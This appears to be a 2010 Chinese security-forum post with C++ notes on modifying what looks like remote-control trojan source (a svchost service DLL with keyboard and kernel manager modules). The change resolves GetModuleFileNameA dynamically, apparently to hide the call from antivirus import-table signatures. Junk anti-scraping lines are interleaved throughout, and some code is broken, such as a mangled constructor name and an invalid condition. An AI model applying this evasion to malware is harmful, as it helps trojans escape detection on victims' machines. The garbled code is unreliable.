标题:
[原创文章]
全局动态调用
[打印本页]
作者:
ice_xke
时间:
2010-10-19 12:30
标题:
全局动态调用
全局动态调用笔记
9 e/ _ e5 ~: {8 q5 D+ {7 ?
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
% x/ E; w( c* I- w% z
----------------------------------------
/ L% w- i4 A0 X6 h- N E
DTDY.h:
& F3 o6 c2 v( L. B# k
0 ~3 G7 t& l2 C, k
#if _MSC_VER>1000
! F. R9 U2 t( V! R
#pragma once
) z4 K+ V8 m7 _
#endif //_MSC_VER>1000
$ s7 S2 t+ e6 W T& {( A
#include<windows.h>
8 j1 I- ^+ H6 M9 M, Z
5 l, T- c/ K6 m8 K8 {: c8 s( O
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
' M, i: i9 K' b8 E" ~
class DTDY
: \1 `+ K1 B9 O' d! c7 S0 f; n
{
4 w" `+ M; `' k
public:
0 z/ ~6 B" c9 G& G) F; g
DTDY();
5 [0 w- f7 t. C7 n- x+ d
virtual ~DTDY();
0 d* o0 l& a! \( g5 x: k4 ?
public:
8 c, v6 b$ i M6 P
static pGetModuleFileNameA MyGetModuleFileName;
' `# R5 x* Q! Q! A) ~. s
static BOOL FunInitiallization();
1 ]% l; }' f4 s3 Y% K5 j
};
& T' E! Z* t2 l5 Y
#endif
, n/ ~- |) \+ R1 q; w8 r$ ?: p
----------------------------------------
6 l; c. |$ t4 {) h. j1 s" Q$ v
5 x* O( f3 F1 G: k) Q/ y
DTDY.cpp:
?4 p B/ _% U& G6 j% j) q5 y; z
: o4 d! g# F( O6 `2 _9 A" f
#include "DTDY.h"
9 E& ~# {: K- H, }
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
" P8 F8 A5 Q! a( P
DTDY:TDY()
6 u2 S3 e n! |- I* F; V
{
+ F, E; h# f% F2 M
}
A, R6 C) M( Q+ N( E
DTDY::~DTDY()
1 M7 a9 S4 T% k3 ^5 T# ^
{
! A4 \! M, \/ e' M1 Z- g
}
% r6 C! |& q i4 l& |
BOOL DTDY::FunInitiallization()
6 z i: ]% e$ J% G5 H. ~
{
+ b; E8 X) q2 \( ~4 T8 V6 e- M! d
HMODULE hModule=LoadLibrary("kernel32.dll");
: K6 t8 d3 e2 t3 p) T9 G7 f
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
7 `& G$ G T+ {
if(!MyGetModuleFileName=) return FALSE;
2 ]+ h& [7 l2 M) s# k6 ?: B
9 w) ?9 H$ d A& r& Z
return TRUE;
5 i- M7 j2 y5 |3 y, X, \
}
# X, S: G. f" Z' ^& D* u" L+ |! L
----------------------------------------
6 X% a! e6 z8 Y6 M( ]* }
svchost.cpp:
* f ?4 D8 t) ^# {/ i% X$ r2 z) f
) A; h3 K L+ V+ ?/ K& v
#include "DTDY.h"
9 A( Q% u2 d! m0 X: g5 E
: J; p( w% z: o1 c) t# a
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
# M! k# M4 L+ U+ W
{
+ A. g1 ]1 p% z% P0 r6 i
switch(ul_reason_for_call)
9 N7 @$ ?/ ?' u' S f8 G( R( r
{
( k, N& T, }; e9 W- G4 B
case DLL_PROCESS_ATTACH:
( v) e$ ]1 H* [3 J; [* E7 ?+ p
if(!DTDY::FunInitiallization()) return FALSE;
+ {+ \* L" x. h# g' H
7 \- w c% \. [. p3 _3 k
break;
: z0 N" r+ F7 l5 p( w) g
}
: P m- @3 G+ D
}
% ^0 I0 o6 N1 q( O
5 @: m% Q O9 l+ I
; g: M ~) L6 r2 f
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
( O7 H1 P, M, ^* V
改写为
1 j5 j& L: E% j6 P8 G
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
4 ^! R8 l0 s% ?
----------------------------------------
: k7 g( A4 N' P: L
KernelManager.cpp:
- u7 J7 t/ S1 X& `. L9 f8 x
: @& f/ N: @) U* y% H( E
#include "../DTDY.h"
% f0 M* v5 R1 ?: I5 ~+ x( m) R
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
$ m" R: N+ f) `6 {* ~
改写为
2 P: M2 ~. M4 K0 ]4 w- Q. k
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
9 Q$ {0 I. @ f; X
----------------------------------------
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2